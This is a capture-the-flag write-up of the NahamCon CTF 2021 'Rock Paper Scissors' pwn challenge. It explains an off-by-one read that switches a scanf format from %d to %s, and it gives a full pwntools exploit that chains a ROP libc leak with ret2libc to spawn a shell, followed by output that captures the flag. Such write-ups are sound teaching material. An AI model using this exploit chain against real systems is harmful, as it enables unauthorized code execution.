Tags: bof format-string scanf pwn rop 

Rating:

# NahamCon CTF 2021

## Rock Paper Scissors [medium]

> Author: @M_alpha#3534
>
> How about a friendly game of rock-paper-scissors?
>
> [rps](rps) [libc-2.31.so](libc-2.31.so)

Tags: _pwn_ _x86-64_ _bof_ _rop_ _format-string_ _scanf_

## Summary

A `read` statement is allowed to overshoot its buffer by one, allowing an attacker to change the LSB of a pointer from static format string `%d` to static format string `%s`. This then opens up a classic `scanf` `%s` buffer overflow.

## Analysis

### Checksec

```
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
```

No PIE and no canary, ripe for _rop_ and _bof_. No GOT attacks however, _gotta_ use what we _got_.

### Decompile with Ghidra

```c
void FUN_00401313(void)
{
int iVar1;
time_t tVar2;
int local_14;
int local_10;
char local_9;

local_9 = '\x01';
tVar2 = time((time_t *)0x0);
srand((uint)tVar2);
while (local_9 != '\0') {
iVar1 = rand();
local_10 = iVar1 % 3 + 1;
FUN_004012c9();
__isoc99_scanf(PTR_DAT_00404028,&local_14,&local_14);
getchar();
if (local_10 == local_14) {
puts("Congrats you win!!!!!");
}
else {
puts("You lose!");
}
putchar(10);
printf("Would you like to play again? [yes/no]: ");
read(0,&DAT_00404010,0x19);
iVar1 = strcmp("no\n",&DAT_00404010);
if (iVar1 == 0) {
local_9 = '\0';
}
else {
iVar1 = strcmp("yes\n",&DAT_00404010);
if (iVar1 == 0) {
local_9 = '\x01';
}
else {
puts("Well you didn\'t say yes or no..... So I\'m assuming no.");
local_9 = '\0';
}
}
memset(&DAT_00404010,0,4);
}
return;
}
```

`FUN_00401313` is the vulnerable function, specifically the line `read(0,&DAT_00404010,0x19)`, that reads up to `0x19` (25) bytes into global `DAT_00404010` (which is only 24 bytes length), that can then be used to overwrite the LSB of global `PTR_DAT_00404028`. By default `PTR_DAT_00404028` is pointing to a static string `%d`, by changing the last byte to `0x08` we can now have it point to the static string `%s`.

> Load this up in Ghidra and look around, you'll see it.

With a 2nd pass and `%s` setup for `scanf` we can simply overflow the buffer.

## Exploit

Standard fare pwntools:

```python
#!/usr/bin/env python3

from pwn import *

binary = context.binary = ELF('./rps')
binary.symbols['rps'] = 0x401313

if args.REMOTE:
p = remote('challenge.nahamcon.com', 31004)
libc = ELF('./libc-2.31.so')
else:
p = process(binary.path)
libc = binary.libc
```

```python
p.sendlineafter('[y/n]: ','y')
p.sendlineafter('> ','1')

# move pointer from %d to %s
payload = b'yes\n\0' + (0x19 - 5 - 1) * b'A' + p8(0x8)
p.sendlineafter('[yes/no]: ',payload)
```

> Given how the random numbers here are 100% predictable, it would be easy to determine how to win each round, but that isn't what we are here to win, just pick _rock_ each time and move on.

When prompted to play again, clearly `yes\n` is the answer, followed by `\0`, some padding, and a `0x8` as the 25th byte to change the pointer used for the format-string from `%d` to `%s`.

```python
pop_rdi = next(binary.search(asm('pop rdi; ret')))

payload = b''
payload += 0x14 * b'A'
payload += p64(pop_rdi)
payload += p64(binary.got.puts)
payload += p64(binary.plt.puts)
payload += p64(binary.sym.rps)

p.sendlineafter('> ',payload)
p.sendlineafter('[yes/no]: ','no')

_ = p.recv(6)
puts = u64(_ + b'\0\0')
libc.address = puts - libc.sym.puts
log.info('libc.address: ' + hex(libc.address))

payload = b''
payload += 0x14 * b'A'
payload += p64(pop_rdi+1)
payload += p64(pop_rdi)
payload += p64(libc.search(b"/bin/sh").__next__())
payload += p64(libc.sym.system)

p.sendlineafter('> ',payload)
p.sendlineafter('[yes/no]: ','no')
p.interactive()
```

Round two is just like every other babyrop: leak libc, compute location of libc, loop back to vuln function, then call `system`.

Output:

```bash
# ./exploit.py REMOTE=1
[*] '/pwd/datajerk/nahamconctf2021/rps/rps'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
[+] Opening connection to challenge.nahamcon.com on port 31004: Done
[*] '/pwd/datajerk/nahamconctf2021/rps/libc-2.31.so'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[*] libc.address: 0x7f2f14cbd000
[*] Switching to interactive mode
$ id
uid=1000(challenge) gid=1000 groups=1000
$ cat flag.txt
flag{93548e97b8c15400117891070d84e5cc}
```

Original writeup (https://github.com/datajerk/ctf-write-ups/tree/master/nahamconctf2021/rps).